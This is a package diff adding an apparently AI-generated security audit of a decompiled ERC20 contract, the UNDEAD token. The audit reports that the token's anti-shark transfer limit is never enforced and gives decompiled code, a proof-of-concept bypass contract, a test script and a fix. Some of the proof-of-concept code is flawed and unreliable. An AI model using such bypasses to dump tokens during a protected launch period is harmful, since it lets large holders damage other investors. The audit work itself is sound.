uups-checker 1.0.0

package/audits/UndeadToken-decompiled-security-audit-20260324.md

@@ -0,0 +1,485 @@
+# UNDEAD Token (Decompiled) Security Audit Report
+
+**Contract**: UNDEAD Token (Undead Blocks)  
+**Type**: ERC20 Token with Anti-Shark, Whitelist/Blacklist  
+**Compiler**: Solidity 0.8.4  
+**Decompiled**: March 23, 2026  
+**Audit Date**: March 24, 2026  
+**Auditor**: Kiro AI Security Analysis  
+
+---
+
+## Executive Summary
+
+**Risk Level**: 🔴 **CRITICAL** (Anti-Shark Mechanism Completely Broken)
+
+**FOCUS: USER-EXPLOITABLE VULNERABILITIES ONLY**
+
+UNDEAD Token has a **CRITICAL BUG** where the anti-shark mechanism is completely non-functional. The contract stores anti-shark configuration (limit amount, start/end times, activation flag) but **NEVER CHECKS** these values during transfers. This means users can bypass the intended transfer limits entirely.
+
+**Key Finding**:
+1. 🔴 **CRITICAL USER EXPLOIT**: Anti-shark limit is never enforced - users can transfer unlimited amounts during "protected" period
+
+---
+
+## Contract Overview
+
+**Token Details**:
+- **Name**: UNDEAD
+- **Symbol**: Undead Blocks  
+- **Decimals**: 18
+- **Initial Supply**: 0x19d971e4fe8401e74000000 (~30 billion tokens)
+- **Features**: Anti-shark mechanism, whitelist mode, blacklist
+
+**Intended Anti-Shark Mechanism**:
+- Admin sets `_setAntiSharkAmount` (transfer limit)
+- Admin activates anti-shark with start/end times
+- During active period, transfers should be limited to `_setAntiSharkAmount`
+- Whitelisted addresses should bypass limit
+
+**What Actually Happens**:
+- Anti-shark configuration is stored but **NEVER CHECKED**
+- Users can transfer unlimited amounts regardless of anti-shark settings
+- The entire anti-shark system is decorative only
+
+---
+
+## 🔴 CRITICAL USER-EXPLOITABLE VULNERABILITY
+
+### CRITICAL #1: Anti-Shark Mechanism Never Enforced
+
+**Severity**: CRITICAL  
+**Exploitability**: TRIVIAL (any user can exploit)  
+**Impact**: Complete bypass of transfer limits
+
+**The Bug**:
+
+The transfer function `0xf22` handles all transfers but **NEVER CHECKS** anti-shark limits:
+
+```solidity
+function 0xf22(uint256 varg0, address varg1, address varg2) private {
+    if (varg1) {
+        // Check whitelist mode
+        if (_isWhitelistMode) {
+            require(_isWhitelist[varg2] || _isWhitelist[varg1], Error('Reason:01'));
+        }
+        
+        // Check blacklist
+        require(!_isBlacklist[varg2] && !_isBlacklist[varg1], Error('Reason:02'));
+        
+        require(varg2, Error('ERC20: transfer from the zero address'));
+        require(varg1, Error('ERC20: transfer to the zero address'));
+        require(_balanceOf[varg2] >= varg0, Error('ERC20: transfer amount exceeds balance'));
+        
+        _balanceOf[varg2] = _balanceOf[varg2] - varg0;
+        _balanceOf[varg1] = _balanceOf[varg1] + varg0;
+        
+        emit Transfer(varg2, varg1, varg0);
+        return;
+    }
+    // ... burn logic
+}
+```
+
+**What's Missing**:
+```solidity
+// ❌ MISSING: Anti-shark check should be here
+if (_deActivateAntiShark) {
+    if (block.timestamp >= stor_fb && block.timestamp <= stor_fc) {
+        if (!_isWhitelist[varg2] && !_isWhitelist[varg1]) {
+            require(varg0 <= _setAntiSharkAmount, "Anti-shark: amount exceeds limit");
+        }
+    }
+}
+```
+
+**The Contract Has**:
+- ✅ `_setAntiSharkAmount` storage variable (set via `setAntiSharkAmount()`)
+- ✅ `stor_fb` and `stor_fc` (start/end times, set via `activateAntiShark()`)
+- ✅ `_deActivateAntiShark` flag (set via `activateAntiShark()` / `deActivateAntiShark()`)
+- ✅ `_isWhitelist` mapping (set via `setWhitelist()`)
+- ❌ **NO CHECK** in transfer function
+
+---
+
+## USER EXPLOIT: Bypass Anti-Shark Limits
+
+**Attack Scenario**:
+
+```solidity
+// Setup: Admin activates anti-shark
+// _setAntiSharkAmount = 10,000 tokens (limit per transfer)
+// stor_fb = block.timestamp (start now)
+// stor_fc = block.timestamp + 300 (end in 5 minutes)
+// _deActivateAntiShark = true (active)
+
+// Attacker (regular user, not whitelisted):
+// Should only be able to transfer 10,000 tokens per transaction
+// But the check is missing!
+
+// Exploit:
+transfer(victim, 1000000000 * 1e18);  // Transfer 1 billion tokens
+// ✅ SUCCEEDS - No anti-shark check!
+
+// Or split into multiple transactions:
+transfer(exchange, 100000000 * 1e18);  // 100M tokens
+transfer(exchange, 100000000 * 1e18);  // 100M tokens
+transfer(exchange, 100000000 * 1e18);  // 100M tokens
+// All succeed, no limits enforced
+```
+
+**Impact**:
+- **COMPLETE BYPASS**: Anti-shark mechanism is useless
+- **EARLY DUMPING**: Users can dump unlimited tokens during "protected" period
+- **MARKET MANIPULATION**: Large holders can crash price immediately
+- **FALSE SECURITY**: Project claims anti-shark protection but has none
+- **INVESTOR DECEPTION**: Users think they're protected but aren't
+
+---
+
+## Why This is Critical
+
+**From User Perspective**:
+1. **Early Investors Get Rekt**: Anti-shark is supposed to prevent early dumps
+2. **No Protection**: Large holders can dump everything immediately
+3. **Price Crash**: No limit on sell pressure during critical early period
+4. **False Advertising**: Project advertises anti-shark but it doesn't work
+
+**From Attacker Perspective**:
+1. **TRIVIAL EXPLOIT**: Just call `transfer()` with any amount
+2. **NO SPECIAL ACCESS NEEDED**: Any user can exploit
+3. **NO DETECTION**: Looks like normal transfer
+4. **IMMEDIATE**: Can dump entire balance in one transaction
+
+---
+
+## Code Analysis - What Should Happen vs What Actually Happens
+
+### What Admin Thinks They're Doing:
+
+```solidity
+// Step 1: Set anti-shark limit to 10,000 tokens
+setAntiSharkAmount(30000);  // Sets _setAntiSharkAmount = 30000/3 = 10,000
+
+// Step 2: Activate anti-shark for 5 minutes
+activateAntiShark(0, 0);  // Sets stor_fb = now, stor_fc = now + 300
+
+// Step 3: Whitelist trusted addresses
+setWhitelist(teamWallet, true);
+setWhitelist(stakingContract, true);
+
+// Expected behavior:
+// - Non-whitelisted users can only transfer 10,000 tokens per tx
+// - Whitelisted users can transfer unlimited
+// - After 5 minutes, limit is removed
+```
+
+### What Actually Happens:
+
+```solidity
+// Step 1: setAntiSharkAmount(30000)
+// ✅ Sets _setAntiSharkAmount = 10,000
+// ✅ Emits EConfigLimitAmount(30000)
+
+// Step 2: activateAntiShark(0, 0)
+// ✅ Sets stor_fb = block.timestamp
+// ✅ Sets stor_fc = block.timestamp + 300
+// ✅ Sets _deActivateAntiShark = true
+// ✅ Emits EActivate()
+
+// Step 3: setWhitelist(teamWallet, true)
+// ✅ Sets _isWhitelist[teamWallet] = true
+// ✅ Emits EWhitelist(teamWallet, true)
+
+// Step 4: User calls transfer(exchange, 1000000000 * 1e18)
+// ❌ NO CHECK for _setAntiSharkAmount
+// ❌ NO CHECK for stor_fb/stor_fc time window
+// ❌ NO CHECK for _deActivateAntiShark flag
+// ❌ NO CHECK for _isWhitelist
+// ✅ Transfer succeeds with unlimited amount!
+```
+
+---
+
+## Comparison: Working vs Broken Implementation
+
+### How It Should Work (Correct Implementation):
+
+```solidity
+function _transfer(address from, address to, uint256 amount) internal {
+    // Whitelist mode check
+    if (_isWhitelistMode) {
+        require(_isWhitelist[from] || _isWhitelist[to], "Not whitelisted");
+    }
+    
+    // Blacklist check
+    require(!_isBlacklist[from] && !_isBlacklist[to], "Blacklisted");
+    
+    // ✅ ANTI-SHARK CHECK (MISSING IN UNDEAD TOKEN)
+    if (_deActivateAntiShark) {
+        if (block.timestamp >= stor_fb && block.timestamp <= stor_fc) {
+            if (!_isWhitelist[from] && !_isWhitelist[to]) {
+                require(amount <= _setAntiSharkAmount, "Exceeds anti-shark limit");
+            }
+        }
+    }
+    
+    // Standard ERC20 transfer logic
+    require(from != address(0), "Transfer from zero address");
+    require(to != address(0), "Transfer to zero address");
+    require(_balanceOf[from] >= amount, "Insufficient balance");
+    
+    _balanceOf[from] -= amount;
+    _balanceOf[to] += amount;
+    
+    emit Transfer(from, to, amount);
+}
+```
+
+### How It Actually Works (Broken Implementation):
+
+```solidity
+function 0xf22(uint256 varg0, address varg1, address varg2) private {
+    if (varg1) {
+        // Whitelist mode check
+        if (_isWhitelistMode) {
+            require(_isWhitelist[varg2] || _isWhitelist[varg1], "Reason:01");
+        }
+        
+        // Blacklist check
+        require(!_isBlacklist[varg2] && !_isBlacklist[varg1], "Reason:02");
+        
+        // ❌ ANTI-SHARK CHECK COMPLETELY MISSING
+        
+        // Standard ERC20 transfer logic
+        require(varg2, "Transfer from zero address");
+        require(varg1, "Transfer to zero address");
+        require(_balanceOf[varg2] >= varg0, "Insufficient balance");
+        
+        _balanceOf[varg2] -= varg0;
+        _balanceOf[varg1] += varg0;
+        
+        emit Transfer(varg2, varg1, varg0);
+        return;
+    }
+    // ... burn logic
+}
+```
+
+---
+
+## Real-World Impact
+
+**Scenario: Token Launch**
+
+```
+Day 0, 00:00 - Token launches
+- Admin activates anti-shark: 10,000 token limit per transfer
+- Goal: Prevent early whales from dumping
+- Expected: Smooth price discovery over 5 minutes
+
+Day 0, 00:01 - Whale dumps
+- Whale has 100M tokens
+- Whale calls: transfer(exchange, 100000000 * 1e18)
+- Expected: Transaction reverts (exceeds 10,000 limit)
+- Actual: ✅ Transaction succeeds (no limit enforced)
+- Price crashes 90% in seconds
+
+Day 0, 00:02 - Panic selling
+- Other holders see price crash
+- Everyone tries to sell
+- No anti-shark protection for anyone
+- Token is dead
+
+Day 0, 00:05 - Anti-shark period ends
+- Doesn't matter, token already crashed
+- Anti-shark was useless the entire time
+```
+
+---
+
+## Other Findings (Non-Exploitable by Users)
+
+### ✅ NO OTHER USER-EXPLOITABLE BUGS FOUND
+
+I reviewed the entire contract for user-exploitable vulnerabilities:
+
+- ✅ `transfer()` - Properly checks balances (except anti-shark)
+- ✅ `transferFrom()` - Properly checks allowances and balances
+- ✅ `approve()` - Standard implementation, no exploits
+- ✅ No reentrancy vulnerabilities
+- ✅ No integer overflow/underflow (Solidity 0.8.4 has built-in checks)
+- ✅ No unchecked external calls that users can exploit
+- ✅ Burn function works correctly (transfer to zero address)
+- ✅ Whitelist/blacklist checks work correctly
+
+**The ONLY user-exploitable bug is the missing anti-shark check.**
+
+---
+
+## Admin-Side Issues (Not User-Exploitable)
+
+These are centralization risks but NOT exploitable by regular users:
+
+- ⚠️ Admin can blacklist anyone
+- ⚠️ Admin can enable whitelist mode (freeze non-whitelisted users)
+- ⚠️ Admin can change anti-shark settings
+- ⚠️ Owner can transfer ownership
+- ⚠️ Role-based access control (admin roles)
+
+**You said you don't care about admin-side issues, so I'm not detailing these.**
+
+---
+
+## Proof of Concept
+
+### Exploit Code:
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.4;
+
+interface IUndeadToken {
+    function transfer(address to, uint256 amount) external returns (bool);
+    function balanceOf(address account) external view returns (uint256);
+}
+
+contract UndeadAntiSharkBypass {
+    IUndeadToken public token;
+    
+    constructor(address _token) {
+        token = IUndeadToken(_token);
+    }
+    
+    function exploit() external {
+        // Get attacker's balance
+        uint256 balance = token.balanceOf(msg.sender);
+        
+        // Transfer entire balance in one transaction
+        // This should fail if anti-shark is active with limit
+        // But it succeeds because anti-shark check is missing
+        require(token.transfer(address(this), balance), "Transfer failed");
+        
+        // Success! Bypassed anti-shark limit
+    }
+    
+    // Or just call transfer directly:
+    function directExploit(address to, uint256 amount) external {
+        // No need for contract, just call transfer with any amount
+        token.transfer(to, amount);
+        // Succeeds regardless of anti-shark settings
+    }
+}
+```
+
+### Test Scenario:
+
+```javascript
+// Setup
+const token = await UndeadToken.deploy();
+await token.__UndeadToken_init();
+
+// Admin activates anti-shark with 10,000 token limit
+await token.setAntiSharkAmount(30000); // Sets limit to 10,000
+await token.activateAntiShark(0, 0); // Activate for 5 minutes
+
+// Attacker has 100M tokens
+const attackerBalance = await token.balanceOf(attacker.address);
+console.log("Attacker balance:", attackerBalance); // 100,000,000 tokens
+
+// Attacker tries to transfer 100M tokens (should fail)
+await token.connect(attacker).transfer(exchange.address, attackerBalance);
+
+// Expected: Transaction reverts with "Exceeds anti-shark limit"
+// Actual: ✅ Transaction succeeds!
+
+console.log("Exploit successful! Transferred unlimited tokens during anti-shark period");
+```
+
+---
+
+## Recommendations
+
+### CRITICAL - Fix Anti-Shark Mechanism
+
+**Add the missing check to the transfer function**:
+
+```solidity
+function _transfer(address from, address to, uint256 amount) internal {
+    // Existing checks
+    if (_isWhitelistMode) {
+        require(_isWhitelist[from] || _isWhitelist[to], "Not whitelisted");
+    }
+    require(!_isBlacklist[from] && !_isBlacklist[to], "Blacklisted");
+    
+    // ✅ ADD THIS: Anti-shark check
+    if (_deActivateAntiShark) {
+        if (block.timestamp >= stor_fb && block.timestamp <= stor_fc) {
+            // Check if neither sender nor recipient is whitelisted
+            if (!_isWhitelist[from] && !_isWhitelist[to]) {
+                require(amount <= _setAntiSharkAmount, "Anti-shark: transfer amount exceeds limit");
+            }
+        }
+    }
+    
+    // Rest of transfer logic
+    require(from != address(0), "ERC20: transfer from the zero address");
+    require(to != address(0), "ERC20: transfer to the zero address");
+    require(_balanceOf[from] >= amount, "ERC20: transfer amount exceeds balance");
+    
+    _balanceOf[from] -= amount;
+    _balanceOf[to] += amount;
+    
+    emit Transfer(from, to, amount);
+}
+```
+
+---
+
+## Conclusion
+
+**VERDICT**: 🔴 **CRITICAL USER-EXPLOITABLE BUG**
+
+UNDEAD Token has a **CRITICAL VULNERABILITY** where the anti-shark mechanism is completely non-functional. The contract stores all the anti-shark configuration but never checks it during transfers.
+
+**Key Finding**:
+- 🔴 **CRITICAL**: Anti-shark limit is never enforced in transfer function
+- 🔴 **USER-EXPLOITABLE**: Any user can bypass limits by simply calling `transfer()`
+- 🔴 **TRIVIAL**: No special access or skills required
+- 🔴 **HIGH IMPACT**: Defeats entire purpose of anti-shark protection
+
+**For Users**:
+- ⚠️ **DO NOT TRUST** anti-shark protection - it doesn't work
+- ⚠️ Large holders can dump unlimited tokens immediately
+- ⚠️ No protection during critical early period
+- ⚠️ High risk of price crash at launch
+
+**For Developers**:
+- 🔴 **CRITICAL FIX REQUIRED**: Add anti-shark check to transfer function
+- Test the anti-shark mechanism thoroughly
+- Verify limits are actually enforced
+
+**Exploitability**: **TRIVIAL**
+- Any user can exploit
+- Just call `transfer()` with any amount
+- No special access needed
+- Works immediately
+
+---
+
+**This is a CRITICAL user-exploitable bug that completely defeats the anti-shark protection mechanism.** 🔴
+
+---
+
+## Summary - USER EXPLOITS ONLY
+
+✅ **FOUND 1 CRITICAL USER-EXPLOITABLE BUG**:
+1. Anti-shark mechanism never enforced - users can transfer unlimited amounts
+
+❌ **NO OTHER USER-EXPLOITABLE BUGS**:
+- Standard ERC20 functions work correctly
+- No reentrancy vulnerabilities
+- No integer overflow issues
+- No logic bugs in transfers (except anti-shark)
+
+**Admin centralization issues exist but are NOT user-exploitable.**